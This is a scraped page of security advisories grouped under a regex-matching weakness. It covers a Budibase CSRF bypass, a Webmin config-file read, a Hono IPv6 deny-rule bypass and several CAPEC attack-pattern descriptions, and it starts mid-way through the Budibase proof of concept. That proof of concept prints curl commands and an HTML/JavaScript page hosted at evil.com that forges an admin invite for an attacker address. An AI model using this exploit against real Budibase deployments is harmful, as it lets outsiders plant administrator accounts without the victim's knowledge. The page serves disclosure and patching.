# With the bypass — append a public-route pattern in the query string
curl -s -X POST 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil' \
  -H 'Cookie: <victim_session>' \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \
  -v
# → HTTP 200 OK — invite created, no CSRF token required

Step 3 — Cross-site exploitation (victim visits attacker page):

<!-- https://evil.com/csrf.html -->
<html>
<body>
<script>
fetch(
  'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil',
  {
    method: 'POST',
    credentials: 'include',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      email: 'attacker@evil.com',
      roleId: 'ADMIN',
      userInfo: {}
    })
  }
)
.then(r => r.json())
.then(d => console.log('Invite sent:', d))
</script>
</body>
</html>

When the authenticated victim visits https://evil.com/csrf.html, the browser sends the cross-origin POST including the victim's session cookie. The Worker's CSRF middleware matches /api/global/auth/.* in the query string, skips validation, and processes the admin invite.

Impact

An unauthenticated attacker can forge state-changing requests on behalf of any authenticated Budibase admin by injecting a public endpoint pattern into the query string of a Worker API call. Operations exposed by the Worker that become exploitable via CSRF include:

  • User management: send admin/operator invites, delete users, modify roles
  • Global configuration: update authentication settings (SSO, OIDC, SMTP), change branding
  • Tenant administration: in multi-tenant instances, tenant isolation bypass via NO_TENANCY_ENDPOINTS (/api/system match) combined with the CSRF bypass allows cross-tenant administrative actions

The vulnerability affects all Budibase self-hosted deployments with an internet-accessible Worker service up to and including version 3.32.3, which is the latest released version. It is a direct sibling of CVE-2026-31816 and stems from the same unanchored-regex-on-full-URL pattern in packages/backend-core/src/middleware/matchers.ts, which was not addressed by the patch for that CVE.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/backend-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.35.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48147"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-185",
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T18:23:41Z",
    "nvd_published_at": "2026-05-27T18:16:27Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `buildMatcherRegex()` / `matches()` functions in `packages/backend-core/src/middleware/matchers.ts` share the same structural root cause as the recently patched CVE-2026-31816: route patterns are compiled into **unanchored regular expressions** and tested against `ctx.request.url`, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token.\n\nCVE-2026-31816 fixed the same unanchored-regex-on-full-URL bug in `server/middleware/utils.ts` but left `backend-core/middleware/matchers.ts` untouched.\n\n---\n\n### Details\n\n**Root cause \u2014 `packages/backend-core/src/middleware/matchers.ts`:**\n\n```typescript\nexport const buildMatcherRegex = (patterns: EndpointMatcher[]): RegexMatcher[] =\u003e {\n  return patterns.map(pattern =\u003e {\n    let route = pattern.route\n    // replaces :param segments with /.*\n    const matches = route.match(PARAM_REGEX)\n    if (matches) {\n      for (let match of matches) {\n        const suffix = match.endsWith(\"/\") ? \"/\" : \"\"\n        route = route.replace(match, \"/.*\" + suffix)\n      }\n    }\n    return { regex: new RegExp(route), method, route }\n    //              ^ no ^ anchor, no $ anchor \u2014 matches anywhere in string\n  })\n}\n\nexport const matches = (ctx: Ctx, options: RegexMatcher[]) =\u003e {\n  return options.find(({ regex, method }) =\u003e {\n    const urlMatch = regex.test(ctx.request.url)  // full URL including query string\n    const methodMatch = method === \"ALL\" ? true\n      : ctx.request.method.toLowerCase() === method.toLowerCase()\n    return urlMatch \u0026\u0026 methodMatch\n  })\n}\n```\n\nTwo compounding bugs identical to the patched CVE:\n1. `new RegExp(route)` \u2014 no `^` start anchor, no `$` end anchor.\n2. `ctx.request.url` \u2014 full URL string including `?query=value`, not just the path.\n\n---\n\n**CSRF middleware \u2014 `packages/backend-core/src/middleware/csrf.ts`:**\n\n```typescript\nexport function csrf(\n  opts: { noCsrfPatterns: EndpointMatcher[] } = { noCsrfPatterns: [] }\n) {\n  const noCsrfOptions = buildMatcherRegex(opts.noCsrfPatterns)\n  return (async (ctx: Ctx, next: Next) =\u003e {\n    const found = matches(ctx, noCsrfOptions)\n    if (found) {\n      return next()   // \u003c-- CSRF check entirely skipped when pattern matches\n    }\n    // ... CSRF token validation ...\n  }) as Middleware\n}\n```\n\n---\n\n**Worker registration \u2014 `packages/worker/src/api/index.ts`:**\n\n```typescript\nconst NO_CSRF_ENDPOINTS = [...PUBLIC_ENDPOINTS]\n// PUBLIC_ENDPOINTS includes (among others):\n// { route: \"/api/global/auth/:tenantId\", method: \"POST\" }\n// { route: \"/api/global/users/init\",     method: \"POST\" }\n// { route: \"/api/system/restored\",       method: \"POST\" }\n\nrouter\n  .use(auth.buildCsrfMiddleware({ noCsrfPatterns: NO_CSRF_ENDPOINTS }))\n```\n\n`buildMatcherRegex` compiles `\"/api/global/auth/:tenantId\"` into the regex `/api/global/auth/.*` (via PARAM_REGEX replacing `/:tenantId` \u2192 `/.*`). Since the regex is unanchored, it matches the substring `\"/api/global/auth/\"` **anywhere** in `ctx.request.url` \u2014 including inside a query string parameter on a completely different endpoint.\n\n**Triggering condition:**\n\n```\nPOST /api/global/users/invite?x=/api/global/auth/evil\n```\n\n- `ctx.request.url` = `\"/api/global/users/invite?x=/api/global/auth/evil\"`\n- `new RegExp(\"/api/global/auth/.*\").test(ctx.request.url)` \u2192 `true` (substring found in query string)\n- `ctx.request.method === \"POST\"` \u2192 `true`\n- `matches()` returns the pattern entry \u2192 CSRF skipped\n- The protected user-invite POST proceeds without any CSRF token\n\n---\n\n**Additional affected middleware (same `matches()` call):**\n\n| Middleware | Pattern list | Security effect when bypassed |\n|---|---|---|\n| `csrf()` | `NO_CSRF_ENDPOINTS` | CSRF token validation skipped |\n| `tenancy()` | `NO_TENANCY_ENDPOINTS` | `allowNoTenant = true`, bypasses tenant ID requirement |\n| `authenticated()` | `PUBLIC_ENDPOINTS` | Marks endpoint as `publicEndpoint = true` |\n\nThe `NO_TENANCY_ENDPOINTS` entry `{ route: \"/api/system\", method: \"ALL\" }` compiles to `/api/system` (no param replacement). Since `method: \"ALL\"` matches every HTTP verb and the pattern is unanchored, any request with `?x=/api/system/x` in its URL matches, potentially bypassing tenant isolation in multi-tenant deployments.\n\n---\n\n### PoC\n\n**Prerequisites:** Victim user is logged into a Budibase Worker instance (e.g., `https://budibase.target.com`) in their browser. Attacker hosts a page at `https://evil.com`.\n\n**Step 1 \u2014 Verify CSRF is normally enforced:**\n\n```bash\n# Without the bypass \u2014 CSRF token missing \u2192 rejected\ncurl -s -X POST \u0027https://budibase.target.com/api/global/users/invite\u0027 \\\n  -H \u0027Cookie: \u003cvictim_session\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"roleId\":\"ADMIN\",\"userInfo\":{}}\u0027 \\\n  -v\n# \u2192 HTTP 403 CSRF token mismatch\n```\n\n**Step 2 \u2014 CSRF bypass via query string injection:**\n\n```bash\n# With the bypass \u2014 append a public-route pattern in the query string\ncurl -s -X POST \u0027https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil\u0027 \\\n  -H \u0027Cookie: \u003cvictim_session\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"roleId\":\"ADMIN\",\"userInfo\":{}}\u0027 \\\n  -v\n# \u2192 HTTP 200 OK \u2014 invite created, no CSRF token required\n```\n\n**Step 3 \u2014 Cross-site exploitation (victim visits attacker page):**\n\n```html\n\u003c!-- https://evil.com/csrf.html --\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nfetch(\n  \u0027https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil\u0027,\n  {\n    method: \u0027POST\u0027,\n    credentials: \u0027include\u0027,\n    headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n    body: JSON.stringify({\n      email: \u0027attacker@evil.com\u0027,\n      roleId: \u0027ADMIN\u0027,\n      userInfo: {}\n    })\n  }\n)\n.then(r =\u003e r.json())\n.then(d =\u003e console.log(\u0027Invite sent:\u0027, d))\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen the authenticated victim visits `https://evil.com/csrf.html`, the browser sends the cross-origin POST including the victim\u0027s session cookie. The Worker\u0027s CSRF middleware matches `/api/global/auth/.*` in the query string, skips validation, and processes the admin invite.\n\n---\n\n### Impact\n\nAn unauthenticated attacker can forge state-changing requests on behalf of any authenticated Budibase admin by injecting a public endpoint pattern into the query string of a Worker API call. Operations exposed by the Worker that become exploitable via CSRF include:\n\n- **User management**: send admin/operator invites, delete users, modify roles\n- **Global configuration**: update authentication settings (SSO, OIDC, SMTP), change branding\n- **Tenant administration**: in multi-tenant instances, tenant isolation bypass via `NO_TENANCY_ENDPOINTS` (`/api/system` match) combined with the CSRF bypass allows cross-tenant administrative actions\n\nThe vulnerability affects all Budibase self-hosted deployments with an internet-accessible Worker service up to and including version **3.32.3**, which is the latest released version. It is a direct sibling of CVE-2026-31816 and stems from the same unanchored-regex-on-full-URL pattern in `packages/backend-core/src/middleware/matchers.ts`, which was not addressed by the patch for that CVE.",
  "id": "GHSA-wxq7-x3qp-vcr8",
  "modified": "2026-06-12T18:23:41Z",
  "published": "2026-06-12T18:23:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-wxq7-x3qp-vcr8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48147"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: Unanchored Regex in `matchers.ts` Allows CSRF Bypass via Query String Injection in Budibase Worker "
}

GHSA-XPVH-GV3P-W5QX

Vulnerability from github – Published: 2026-06-18 18:35 – Updated: 2026-06-18 18:35
VLAI
Details

Webmin allows unauthenticated attackers to read the contents of any file ending in .conf within module directories, due to a bypassable regex pattern.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-56021"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-185"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-18T17:16:35Z",
    "severity": "MODERATE"
  },
  "details": "Webmin allows unauthenticated attackers to read the contents of any file ending in .conf within module directories, due to a bypassable regex pattern.",
  "id": "GHSA-xpvh-gv3p-w5qx",
  "modified": "2026-06-18T18:35:24Z",
  "published": "2026-06-18T18:35:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56021"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webmin/webmin/releases/tag/2.641"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-169-02.json"
    },
    {
      "type": "WEB",
      "url": "https://webmin.com/security/#webmin-prior-to-2641"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56021"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XRHX-7G5J-RCJ5

Vulnerability from github – Published: 2026-06-04 18:00 – Updated: 2026-06-04 18:00
VLAI
Summary
Hono: IP Restriction bypasses static deny rules for non-canonical IPv6
Details

Summary

The ip-restriction middleware (hono/ip-restriction) compares incoming IP addresses against configured deny and allow rules using string equality after partial normalization. Non-canonical IPv6 representations of an address already listed in a static rule — such as compressed forms, explicit-zero forms, or hex-notation IPv4-mapped addresses — do not match the normalized rule entry, causing the rule to be silently skipped.

Details

When the rule matcher is built, each configured IP rule is normalized to a canonical string form. Incoming IP addresses received at request time are then compared against those canonical strings without applying the same normalization. Because IPv6 permits multiple syntactically different representations of the same numeric address, a non-canonical form of a denied address fails the string lookup and proceeds to the CIDR check, which also finds no match for rules registered as static (no prefix length). The request is then allowed.

Affected non-canonical forms include:

  • Compressed versus expanded notation (2001:db8::1 vs 2001:db8:0:0:0:0:0:1)
  • Hex-notation IPv4-mapped addresses (::ffff:7f00:1 vs ::ffff:127.0.0.1)
  • Zone identifier suffixes (e.g., fe80::1%eth0)

Additionally, invalid IP address strings provided as the remote address are not rejected and may result in unexpected allow or deny behavior.

This issue arises when applications use ipRestriction() with static (non-CIDR) rules and the IP address source can supply addresses in non-canonical IPv6 form.

Impact

A request from an IP address covered by a static deny rule may bypass the restriction if the address is presented in a non-canonical IPv6 form.

This may lead to:

  • Unauthorized access to endpoints intended to be restricted to specific IP addresses
  • Bypass of IP-based access controls in environments where the runtime or an upstream proxy provides source addresses in a form that differs from the canonical form used in the rule configuration

This issue affects applications using hono/ip-restriction with static deny rules for IPv4 or IPv6 addresses, particularly when the source address is derived from proxy headers or custom getIP implementations that may return non-canonical forms.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hono"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.12.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47674"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1289",
      "CWE-185"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-04T18:00:22Z",
    "nvd_published_at": "2026-05-28T17:16:32Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `ip-restriction` middleware (`hono/ip-restriction`) compares incoming IP addresses against configured deny and allow rules using string equality after partial normalization. Non-canonical IPv6 representations of an address already listed in a static rule \u2014 such as compressed forms, explicit-zero forms, or hex-notation IPv4-mapped addresses \u2014 do not match the normalized rule entry, causing the rule to be silently skipped.\n\n### Details\n\nWhen the rule matcher is built, each configured IP rule is normalized to a canonical string form. Incoming IP addresses received at request time are then compared against those canonical strings without applying the same normalization. Because IPv6 permits multiple syntactically different representations of the same numeric address, a non-canonical form of a denied address fails the string lookup and proceeds to the CIDR check, which also finds no match for rules registered as static (no prefix length). The request is then allowed.\n\nAffected non-canonical forms include:\n\n- Compressed versus expanded notation (`2001:db8::1` vs `2001:db8:0:0:0:0:0:1`)\n- Hex-notation IPv4-mapped addresses (`::ffff:7f00:1` vs `::ffff:127.0.0.1`)\n- Zone identifier suffixes (e.g., `fe80::1%eth0`)\n\nAdditionally, invalid IP address strings provided as the remote address are not rejected and may result in unexpected allow or deny behavior.\n\nThis issue arises when applications use `ipRestriction()` with static (non-CIDR) rules and the IP address source can supply addresses in non-canonical IPv6 form.\n\n### Impact\n\nA request from an IP address covered by a static deny rule may bypass the restriction if the address is presented in a non-canonical IPv6 form.\n\nThis may lead to:\n\n- Unauthorized access to endpoints intended to be restricted to specific IP addresses\n- Bypass of IP-based access controls in environments where the runtime or an upstream proxy provides source addresses in a form that differs from the canonical form used in the rule configuration\n\nThis issue affects applications using `hono/ip-restriction` with static deny rules for IPv4 or IPv6 addresses, particularly when the source address is derived from proxy headers or custom `getIP` implementations that may return non-canonical forms.",
  "id": "GHSA-xrhx-7g5j-rcj5",
  "modified": "2026-06-04T18:00:22Z",
  "published": "2026-06-04T18:00:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/security/advisories/GHSA-xrhx-7g5j-rcj5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47674"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/commit/c831020fb1fa2e929d222f6c84e1abfe013e512b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/honojs/hono"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/releases/tag/v4.12.21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hono: IP Restriction bypasses static deny rules for non-canonical IPv6 "
}
Mitigation MIT-45
Implementation

Strategy: Refactoring

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject the regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor the regular expression.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.

← Back to the CWE list